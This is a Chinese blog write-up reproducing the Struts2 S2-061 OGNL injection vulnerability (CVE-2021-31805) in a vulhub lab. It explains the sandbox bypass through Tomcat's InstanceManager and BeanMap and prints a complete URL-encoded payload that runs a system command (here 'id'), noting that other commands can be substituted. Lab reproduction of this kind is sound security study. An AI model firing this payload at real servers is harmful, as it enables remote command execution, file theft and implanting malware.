影响范围:

  • Struts 2.0.0 - 2.5.29

漏洞类型:

OGNL表达式注入

操作系统限制:

配置要求:

默认配置

漏洞利用:

执行命令,可以执行各种敏感操作,例如任意文件读取,植入木马,内网探测

利用原理:

Struts内部对象虽然被锁死了,但是Struts2运行在Tomcat容器,攻击者可以利用Tomcat的InstanceManager绕过沙箱(相当于CVE-2021-31805是对CVE-2020-17530修复的绕过),InstanceManager新建的 org.apache.commons.collections.BeanMap对象能绕过普通权限检查,直接操作memberAccess的私有属性,利用BeanMap的put方法把excludedClasses(Struts2内部的黑名单)改为空,再通过攻击链执行敏感命令。

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/struts2/s2-061
#拉取镜像
docker-compose up -d

访问http://公网:8080,执行OGNL表达式%{(11+11).toString()},下面是对符号url编码的payload,并打开F12查看属性,发现属性值出现了OGNL表达式计算的结果,说明存在注入点

#url编码特殊字符
http://公网:8080?id=%25%7b+(11+%2b+11).toString()%7d

注入恶意payload,可以将id替换成其他命令,通过F12查看回显

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Spring
喜欢就支持一下吧